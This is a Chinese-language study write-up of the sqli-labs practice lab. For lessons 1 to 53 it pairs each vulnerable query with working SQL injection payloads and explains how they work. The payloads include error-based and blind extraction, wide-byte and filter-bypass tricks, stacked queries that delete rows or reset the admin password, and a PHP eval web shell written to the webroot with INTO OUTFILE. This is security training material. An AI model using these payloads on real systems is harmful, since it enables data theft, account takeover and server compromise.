摘要
感觉自己web方向很多方面都还是没有经过实践检验,所以按照知道创宇研发技能表,开始训练一下自己的实战经验。这一篇文章主要通过sqli-labs深入研究sqli的技巧和部分原理。
本篇文章写得相当细碎,请读者自取所需。
Challenge部分有缘再更新吧。
关键词: SQLI;sqli-labs;
Lesson 1-4
考点
1 | $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Lesson 1 |
1-4关都是考查最基本的报错注入,没有任何过滤。
payloads
1 | ?id=1' order by 3 --+ |
SQLI语句补充讲解
LIMIT a, b
: LIMIT用于强制 SELECT 语句返回指定的记录数,表示检索从a+1到b行的数据
order by[索引]
: 用于对结果集进行排序, SQLI常用此根据列索引来判断该表的列数。
group_concat()
: 从 expr 中连接所有非 NULL 的字符串。如果没有非 NULL 的字符串,那么它就会返回 NULL。
--+
: 在URL中,如果在最后加上 --
,浏览器在发送请求的时候会把URL末尾的空格舍去。所以我们用 --+
代替 --
,原因是 +
在URL被URL编码后会变成空格。
解析
1 | order by [number] |
查看列数,主要是利用 order by
能通过索引进行查询,当索引打印列数不存在的时候,mysql会报错, 返回 Unknown column '[number]' in 'order clause'
。
1 | select 1, 2[, 3, 4……] |
查看显示位,显示位会出现在返回结果中。
Lesson 5-6
考点
1 | $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Lesson 5 |
与1-4课的不同在于没有回显位置。
payloads
floor报错注入:
1 | ?id = 2' and (select 1 from (select count(*), concat(((select group_concat(schema_name) from information_schema.schemata)), floor(rand(0)*2))x from information_schema.tables group by x)a) - -+ |
updatexml报错注入:
1 | ?id = 2' and updatexml(1, (select group_concat(schema_name) from information_schema.schemata), 1) - -+ |
extractvalue报错注入:
1 | ?id = 2' and extractvalue(0x0a, concat(0x0a, (select group_concat(schema_name) from information_schema.schemata))) |
SQLI语句补充讲解
count()
: 计数函数floor()
: 向下取整rand()
: RAND 函数用于产生从0到1之间的随机数。如果为RAND()传入整形参数,则该值将成为随机数发生器的种子值。extractvalue(*.xml, path)
: 对XML文档进行查询。XML文档中查找字符位置(参数 path
)是用 / xxx/xxx/xxx /…
这种格式,如果我们写入其他格式,就会报错并返回。updatexml(*.xml, path, updatecontent)
: 与 extractvalue()
类似,是更新xml文档的函数。
解析
主键重复报错注入原理[1]
1 | select count(8) from [example] group by floor(rand(0)*2); |
floor(rand(0)*2)
报错是有条件的:当[example]中记录存在3条及以上时才会必定报错。因为 floor(rand(0)*2)
具备某方面的确定性,如果替换成floor(rand()*2
,就只是随机报错。mysql在遇到 select count(*) from [example] group by x
时会建立一个虚表。其工作流程如下表:
key | count(*) |
---|---|
查询数据时,取数据库数据(即 key
值),然后查看虚拟表,看是否存在 key
值,如果 key
值存在的话就 count(*)
字段直接加 1
, 不存在的话就新建一个 key
值。
mysql官方的提示是:查询的时候如果使用 rand()
的话,该值会被计算多次。即在使用 group by
的时候, floor(rand(0)*2)
会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
整个流程如下:
查询前默认会建立空虚拟表。
取第一条记录,执行
floor(rand(0)*2)
,发现现结果为0
(第一次计算), 查询虚拟表,发现0
的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕。查询第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1
(第三次计算),查询虚表,发现1
的键值存在,所以floor(rand(0)*2)
不会被计算第二次,count(*)
直接加1
,第二条记录查询完毕。查询第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0
(第4次计算),查询虚表,发现键值没有0
,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1
(第5次计算),然而1
这个主键已经存在于虚拟表中,而新计算的值也为1
(主键键值必须唯一),所以插入的时候就直接报错了。整个查询过程
floor(rand(0)*2)
被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
xpath语法错误报错注入原理
updatexml()
和 extractvalue()
函数都是对xml文档进行操作的函数,需要xml位置的参数。可以通过这两个函数的参数 path
,故意写入非法格式内容,使Mysql返回错误提示的,通过此来达到注入的目的。
Lesson 7
考点
1 | $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; // Lesson 7 |
从查询语句上看与前几课没有什么区别,关键考查mysql对文件操作。
payloads
1 | ?id=-2')) union select 1,"<? @eval($_POST['Pe0ny']); ?> ",3 into outfile "F: \\tools\\wamp64\\wamp64\\www\\sqlilab\\Less-7\\test.php" - -+ |
SQLI语句补充讲解
load_file([path]file_name)
: 读取文件, 注意路径的转义。into outfile "[paht]file_name"
: 写入文件,同样也需要注意路径的转义。
限制要求[2]
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 欲读取文件必须小于
max_allowed_packet
Lesson 8
考点
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Lesson 8 |
mysql_error()
的输出被关闭,同时没有显示位置,即只能通过命令是否成功来判断,考察布尔盲注。
payloads
1 | # coding: utf-8 |
SQLI语句补充讲解
SUBSTR(str,pos,len)
: 将 str
从 pos
开始的位置,截取 len
个字符(空白也算字符)。
解析[3]
布尔盲注基本思路
- 通过
AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = [number] --+
猜测目标(数据库、表、列、数据)的数量, 其中[number]为数量 - 通过
AND (SELECT LENGTH(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1)=[length]
猜测目标名字的长度,其中[length]为长度,当然也可以想脚本那样直接跳过这一步,进行第三步 - 通过
AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name=tablename limit 0,1),[k],1))>97
猜测目标名字, 其中[k]为第k个字母
Lesson 9-10
考点
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // Lesson 9 |
mysql_error()
报错同样关闭,同样无回显位置,考察时间盲注。
payloads
1 | # -*- coding: utf-8 -*- |
SQLI语句补充讲解
if(expr1,expr2,expr3)
: 如果 expr1
真,则执行 expr2
,否则执行 expr3
Sleep(x)
: 执行延迟x秒
解析
时间注入基本思路[4]
- 通过 [注入指令] 猜测目标(数据库、表、列、数据)的数量, 其中[number]为数量
- 通过 [注入指令] 猜测目标名字的长度,其中[length]为长度,当然也可以想脚本那样直接跳过这一步,进行第三步
- 通过 [注入指令] 猜测目标名字, 其中[k]为第k个字母
Lesson 11-14
考点
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; //Lesson 11 |
考察post方法的报错注入。
payloads
1 | username = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))# |
报错注入常用语句[5]
- 通过
floor()
报错, 注入语句如下:
1 | and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
- 通过
ExtractValue()
报错, 注入语句如下:
1 | and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
- 通过
UpdateXml()
报错, 注入语句如下:
1 | and 1=(updatexml(1, concat(0x3a, (select user())), 1)) |
- 通过
name_const()
报错, 注入语句如下:
1 | and exists(select*from (select*from(select name_const(@@version, 0))a join (select name_const(@@version, 0))b)c) |
- 通过
join
报错, 注入语句如下:
1 | select * from(select * from mysql.user join mysql.user b)c; |
- 通过
exp()
报错, 注入语句如下:
1 | and exp(~(select * from (select user())a)); |
- 通过
GeometryCollection()
报错, 注入语句如下:
1 | and GeometryCollection(()select *from(select user())a)b); |
- 通过
polygon()
报错, 注入语句如下:
1 | and polygon(()select * from(select user())a)b); |
- 通过
multipoint()
报错, 注入语句如下:
1 | and multipoint(()select * from(select user())a)b); |
- 通过
multlinestring()
报错, 注入语句如下:
1 | and multlinestring(()select * from(selectuser())a)b); |
- 通过
multpolygon()
报错, 注入语句如下:
1 | and multpolygon(()select * from(selectuser())a)b); |
- 通过
linestring()
报错, 注入语句如下:
1 | and linestring(()select * from(select user())a)b); |
SQLI语句补充讲解
concat(expr1,expr2,……)
: 将 expr1,expr2,……
连接起来exists(expr)
: 如果 expr
查询结果为非空,则外层的WHERE子句返回值为真,否则返回值为假。name_const(name,value)
: 函数会用传入的参数返回一列数据,其中传入的参数必须是常量。如果传入的参数不是常量, 就会报错。join
: 结果取交集exp(x)
: 求取e^x,其中x必须小于709,超出会溢出报错。GeometryCollection()
: 空间数据集合,可以包括多个点、线、多边形,例如“GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))”polygon()
: 多边形, 由多条线组成, 例如“POLYGON((1 1, 2 1, 2 2, 1 2, 1 1))”multipoint()
: 点集合,包含多个点,例如“MULTIPOINT(0 0, 20 20, 60 60)”multlinestring()
: 线集合,包含多条线,例如“MULTILINESTRING((10 10, 20 20), (15 15, 30 15))”multpolygon()
: 多边形集合,包含多个多边形, 例如“MULTIPOLYGON(((0 0, 10 0, 10 10, 0 10, 0 0)), ((5 5, 7 5, 7 7, 5 7, 5 5)))”linestring()
: 线,由一系列点连接而成, 例如“LINESTRING(3 0, 3 3, 3 5)”
解析
列名重复报错注入原理
name_const()
报错原因就是因为列名相同时,数据库会返回错误信息。但是因为函数参数要求为常量,所以基本只能用 version()
函数查询一下数据库版本。相对来说比较鸡肋。join
报错同样是因为列名重复,因此可以用此函数来爆列名。
数据溢出报错注入原理
exp(x)
是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数x大于709时溢出并报错。
将0按位取反( ~
)就会返回“18446744073709551615”,同时如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的。
通过子查询与按位求反两者结合,造成一个DOUBLE overflow error,并借由此注出数据。而在脚本语言中,就会将错误中的一些表达式转化成相应的字符串, 从而爆出数据。
几何函数报错注入原理
geometrycollection()
, multipoint()
, polygon()
, multipolygon()
, linestring()
, multilinestring()
等几何函数都对参数要求是形如(1 2, 3 3, 2 2)这样的几何数据,如果不满足,则会报错。
Lesson 15-16
考点
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";//Lesson 15 |
考察post方式的盲注。
payloads
1 | import requests |
Lesson 18-20
考点
1 | $uname = check_input($_POST['uname']);//Lesson 18 |
其中 check_input()
函数如下:
1 | function check_input($value) |
很明显 check_input()
函数已经将 uname
和 passwd
过滤了,得另外寻找方法。再仔细审计代码能够发现:
1 | $uagent = $_SERVER['HTTP_USER_AGENT']; //Lesson 18 |
说明18-21课主要考察对header头的注入。
PHP语句补充讲解
substr($value,0,20)
: 返回字符串value从0到20位置的子字符串。get_magic_quotes_gpc()
: 如果magic_quotes_gpc已关闭,则返回0,否则返回1。从PHP 5.4.0开始返回始终FALSE。从PHP 7.4.0 开始,此函数已被弃用。stripslashes($value)
: 取消用引号引起来的字符串。如果magic_quotes_sybase处于打开状态,则不会去除反斜杠,而是将两个撇号替换为一个。ctype_digit($value)
: 检查提供的value中的所有字符是否都是数字。intval($value)
: 将value转换为十进制数值。
解析[6]
HTTP头部详解
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, (通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件(通过修改XXF头可以实现伪造IP)。
Clien-IP:同上,不做过多介绍。
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。
Lesson 21-22
考点
1 | $cookee = base64_decode($cookee); //Lesson 21 |
考察cookie注入,只是多了一次b64编码。
Lesson 23
考点
1 | $reg = "/#/"; |
过滤了注释符,想办法绕过即可。
payloads
1 | ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()), '3-+ |
解析
关于sql过滤的一些补充[7]
- 常用注释符
//
, --
, /**/
, #
, --+
, -- -
, ;,%00
, --a
。
- 常用绕过方式
- 注释符绕过;
- 大小写绕过;
- 内联注释绕过;
- 双关键字绕过;
- 编码绕过;
- 空格绕过;
- 万能密钥绕过;
+
,-
,.
号拆解字符串绕过;- like绕过;
- in绕过;
>
,<
绕过;- 等价函数与命令绕过;
- 反引号绕过;
- 换行符绕过;
- 截断绕过;
- 宽字节绕过;
- \N绕过;
因为篇幅原因,就不一一举例说明了,详情请见参考文献[7]。
Lesson 24
考点
login.php:
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
logged-in.php:
1 | $curr_pass= mysql_real_escape_string($_POST['current_password']); |
考察修改密码处的注入。
payloads
假设注册了一个用户 admin'#
, 在密码更改界面(logged-in.php)随便输入当前密码,然后输入我们要更改的密码, 即可更改admin账户的密码。即查询语句如下:
1 | UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass' |
PHP语句补充讲解
mysql_real_escape_string()
: 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 mysqli_real_escape_string()
或 PDO::quote()
替换。
Lesson 25-25a
考点
1 | $id= blacklist($id); |
其中 blacklist()
函数为:
1 | function blacklist($id) |
25课中or和and被过滤了。25a则是关闭了回显,只能盲注。
payloads
预期解:
1 | ?id=1' %26%26 '1'='1 |
非预期解:
1 | ?id=1' oorr '1'='1 |
解析
PHP中一些常见的过滤方法及绕过方式
过滤关键字 | php代码 | 会过滤的攻击代码 | 绕过方式 |
---|---|---|---|
and or | preg_match('/(and|or)/i', $id) | 1 or 1=1 and 1=1 | 1 || 1=1 && 1=1 |
and or union | preg_match('/(and|or|union)/i', $id) | union select user , password from users | 1 && (select user from users where user_id=1)=admin |
and or union where | preg_match('/(and|or|union|where)/i', $id) | 1 && (select user from users where user_id=1)='admin' | 1 && (select user from users limit 1) = admin |
and or union where limit | preg_match('/(and|or|union|where|limit)/i', $id) | 1 && (select user from users limit 1) = admin | 1 && (select user from users group by user_id having user_id = 1) = admin |
and or union where limit group by | preg_match('/(and|or|union|where|limit|group by)/i', $id) | 1 && (select user from users group by user_id having user_id = 1) = admin | 1 && (select substr(group_concat(user_id), 1, 1) user from users) = 1) |
and or union where limit group by select | preg_match('/(and|or|union|where|limit|group by|select)/i', $id) | 1 && (select substr(group_concat(user_id), 1, 1) user from users) = 1) | 1 && substr(user, 1, 1) = 'a' |
and or union where limit group by select ' | preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) | 1 && substr(user, 1, 1) = 'a' | 1 && user_id is not null 1 && substr(user, 1, 1) = 0x61 1 && substr(user, 1, 1) = unhex(61) |
and or union where limit group by select ' hex | preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) | 1 && user_id is not null 1 && substr(user, 1, 1) = 0x61 1 && substr(user, 1, 1) = unhex(61) | 1 && substr(user, 1, 1)=lower(conv(11, 10, 16)) |
and or union where limit group by select ' hex substr | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) | 1 && substr(user, 1, 1)=lower(conv(11, 10, 16)) | 1 && lpad(user, 7, 1) |
and or union where limit group by select ' hex substr 空格 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) | 1 && lpad(user, 7, 1) | 1%0b||%0blpad(user, 7, 1) |
所以黑名单还是不可靠,还是得用白名单。
Lesson 26-26a
考点
1 | $id= blacklist($id); |
依旧还是绕过过滤,这次增加了 /*
, --
, 空格
, /\
, 26a为盲注。
payloads
1 | ?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1 |
同样除了空格外,其他函数依旧可以双写绕过。
Lesson 27-27a
考点
1 | $id=$_GET['id']; |
这次增加了 union
select
, 27a为盲注。
payloads
1 | ?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1 |
混合大小写是一种方法,也可以直接写盲注脚本跑。
Lesson 28-28a
考点
1 | $id=$_GET['id']; |
payloads
1 | ?id=0')union(select%0d1,database(),'3 |
只是为了绕 union select
的话就可以这样。
Lesson 29-31
考点
1 | $qs = $_SERVER['QUERY_STRING']; |
白名单策略, $id1
只能为数字, $qs
前两个字符必须为 id
,并且 $qs
截取3-30个字符,意思就是说命令不能超过27个字符。30课只是双引号闭合。
payloads
1 | login.php?id=1&id=' union select 1,database(),3 --+ |
Lesson 32-33
考点
1 | $id=check_addslashes($_GET['id']); |
32课考察宽字节注入。
1 | function check_addslashes($string) |
33课用 addslashes
函数过滤引号。
payloads
1 | ?id=-1%df%5c%27union select 1,database(),3%23 |
PHP语句补充讲解
preg_quote()
: 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。addslashes()
:在引号前添加 \
解析[8]
基本概念
在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有
addslashes
,mysql_real_escape_string
,mysql_escape_string
等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。字符:字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
UTF8:由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
MYSQL的字符集转换过程
MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
- 使用每个数据字段的CHARACTER SET设定值;
- 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
- 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
- 若上述值不存在,则使用character_set_server设定值。
宽字节注入原理
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为
\
),MYSQL默认字符集是GBK等宽字节字符集。大家都知道
%df’(空格)
被PHP转义(开启GPC、用addslashes
函数,或者icov
等),单引号被加上反斜杠\
,变成了%df\'
,其中\的十六进制是%5C
,那么现在%df\’
=%df%5c%27
,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为%df%5c
是一个宽字符,也就是縗
,也就是说:%df\’
=%df%5c%27
=縗’
,即可构造出单引号。
Lesson 34
考点
1 | $uname = addslashes($uname1); |
post形式的宽字节注入。
payloads
1 | admin%df%5c%27union select 1,database(),3%23 |
需要burp改包了。
Lesson 35-37
考点
1 | $id=check_quotes($_GET['id']);; |
其实依旧是考宽字节注入,不过35课可以直接普通的数字型注入。
PHP语句补充讲解
mysql_real_escape_string
: 函数转义 SQL 语句中使用的字符串中的特殊字符。如: \x00
, \n
, \r
, \
, '
, "
, \x1a
。
Lesson 37
考点
1 | $uname = mysql_real_escape_string($uname1); |
37课为post方法的宽字节注入,burp抓包改改就行了。
Lesson 38-41
考点
1 | $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname); |
38,39课都是普通的堆叠注入,只是字符串与数字型的差别。40,41课则是盲注,没有回显而已。
考察堆叠注入。
payloads
1 | ?id=1';insert into users(id,username,password) values (27,'test','test')--+ |
PHP语句补充讲解
mysqli_multi_query
: 执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。
解析[9]
堆叠注入说明
在SQL中,分号 ;
是用来表示一条sql语句的结束。在 ;
结束一个sql语句后继续构造下一条语句会一起执行,因此就造成了堆叠注入。
而堆叠注入与联合注入( union select
)的区别就在于:
- 联合注入执行的语句类型是有限的,往往用来执行查询语句;
- 堆叠注入以执行任意语句,前提是拥有相应的权限,而这一点往往受到API或者数据库引擎的限制。
Lesson 42-45
考点
1 | $username = mysqli_real_escape_string($con1, $_POST["login_user"]); |
同样考的堆叠注入,只是换成POST方法。44、45课为盲注。
payloads
1 | login_password=';delete from users where username="test2";# |
username随机即可。
Lesson 46-49
考点
1 | $id=$_GET['sort']; |
考察order by 注入。规律一样,分为字符型和数字型的注入,同时有报错回显的和盲注都来一遍。
payloads
1 | ?sort=1 and extractvalue(1,concat(0x3c,(select database()))); --+ |
解析[9]
order by 方法解析
order by
是mysql中对查询数据进行排序的方法:
1 | select * from 表名 order by 列名(或者数字) asc;升序(默认升序) |
重点在于 order by
后既可以填列名或者是一个数字。比如:
1 | select * from user order by id; |
order by 在sql注入中的运用
- 简单注入判断
1 | http://localhost/index.php?order=11 |
利用order by子句进行快速猜解列数,再配合union select语句进行回显。在不知道列名的情况下可以通过列的的序号来指代相应的列。
- 构造报错
1 | http://localhost/index.php?order=1 and extractvalue(1,concat(0x3c,(select database())));--+ |
- 构造时间盲注
1 | http://localhost/index.php?order=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) --+ |
- 基于
rand()
构造盲注
1 | http://localhost/index.php?id=1 order by rand(ascii(mid((select database()),1,1))>96) --+ |
根据order by rand(true);
order by rand(false);
返回不同进行盲注。原理是 order by rand()
会随机给每个数据生成一个随机数,然后按照随机数排序,true
和false
实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。实际出漏洞的原因跟基于floor()
的报错原理中rand
函数起到的功能一样。
Lesson 50-53
考点
1 | $id=$_GET['sort']; |
堆叠注入与order by 注入相结合。又是4课套路式练习(字符、数字、盲注)。
payloads
1 | ?sort=1;delete from users where username="admin2" |
关于challenges部分(Lesson 54-65)
我看了看,主要是限制注入次数。主要是注重对之前所学知识的贯通,接下来学习意义不大,还不如刷几道CTF题目,所以暂时就不写题解了。
参考文献
1.Mysql报错注入原理分析(count()、rand()、group by)
2.mysql load_file在数据库注入中使用
3.SQL布尔型盲注思路分析(入门必看)
4.sql盲注之时间盲注
5.Sqli-labs通关文档
6.浅谈http头注入(附案例)
7.SQL注入绕过技巧
8.SQL注入教程——(四)宽字节注入
9.sql注入之order by注入